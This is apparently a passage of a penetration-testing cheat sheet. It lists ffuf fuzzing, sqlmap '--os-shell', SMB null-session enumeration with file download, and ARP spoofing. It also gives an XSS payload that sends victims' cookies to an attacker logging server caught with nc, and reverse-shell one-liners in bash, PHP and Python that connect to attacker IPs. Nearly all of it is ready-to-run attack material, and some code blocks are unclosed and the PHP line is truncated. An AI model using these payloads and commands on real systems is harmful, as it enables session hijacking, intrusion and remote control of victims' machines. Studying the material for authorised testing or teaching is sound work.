```bash
ffuf -w wordlist.txt -u http://example.com/FUZZ
```

file discovery:
```bash
ffuf -w wordlist.txt -u http://example.com/FUZZ -e .aspx,.php,.txt,.html

output of responses with status code:
```bash
ffuf -w /usr/share/wordlists/dirb/small.txt -u http://example.com/FUZZ -mc 200,301

```bash
sqlmap -u http://10.10.10.15/?id=4 --os-shell
```

### xss

check example:
```javascript
alert("hack :)")
```

#### hijack cookie through xss
there are four components as follows:
- attacker client pc
- attacker logging server
- vulnerable server
- victim client pc

1) attacker: first finds a vulnerable server and its breach point.

2) attacker: enter the following snippet in order to hijack the cookie kepts by victim client pc (p.s.: the ip address, 192.168.99.102, belongs to attacker logging server in this example):
```javascript
var i = new Image();i.src="http://192.168.99.102/log.php?q="+document.cookie;
```

3) attacker: log into attacker logging server (P.S.: it is 192.168.99.102 in this example), and execute the following command:
```bash
nc -vv -k -l -p 80
```

4) attacker: when victim client pc browses the vulnerable server, check the output of the command above.

5) attacker: after obtaining the victim's cookie, utilize a firefox's add-on called Cookie Quick Manager to change to the victim's cookie in an effort to hijack the victim's privilege.

### windows shares with null sessions

enumeration with kali/parrot tools:
```
nmblookup -A 10.16.64.223
smbclient -L //10.16.64.223 -N share
smbclient //10.16.64.223/share -N mount

enum4linux -a 10.10.10.13
```

enumeration with nmap:
```bash
ll /usr/share/nmap/scripts/ | grep smb-enum-
-rw-r--r-- 1 root root 4846 Jan 9 2019 smb-enum-domains.nse
-rw-r--r-- 1 root root 5931 Jan 9 2019 smb-enum-groups.nse
-rw-r--r-- 1 root root 8045 Jan 9 2019 smb-enum-processes.nse
-rw-r--r-- 1 root root 27262 Jan 9 2019 smb-enum-services.nse
-rw-r--r-- 1 root root 12057 Jan 9 2019 smb-enum-sessions.nse
-rw-r--r-- 1 root root 6923 Jan 9 2019 smb-enum-shares.nse
-rw-r--r-- 1 root root 12531 Jan 9 2019 smb-enum-users.nse

nmap --script=smb-enum-users 192.168.1.10
```

#### null sessions
1) Use "enum4linux -n" to make sure if "<20>" exists:
```bash
enum4linux -n 192.168.1.10
```

2) If "<20>" exists, it means Null Session could be exploited. Utilize the following command to get more details:
```bash
enum4linux 192.168.1.10
```

3) If confirmed that Null Session exists, you can remotely list all share of the target:
```bash
smbclient -L WORKGROUP -I 192.168.1.10 -N -U ""
```

4) You also can connect the remote server by applying the following command:
```bash
smbclient \\\\192.168.1.10\\c$ -N -U ""
```

5) Download those files stored on the share drive:
```bash
smb: \> get Congratulations.txt
```

### ARP spoofing
```bash
echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof -i tap0 -t 10.13.37.100 -r 10.13.37.101
```

### reverse shell
bash
```bash
bash -i >& /dev/tcp/10.0.14.22/4444 0>&1
```

php one line (bash)
```php
& /dev/tcp/10.0.14.10/4444 0>&1'"); ?>
```

python
```python
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.14.22",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")
```
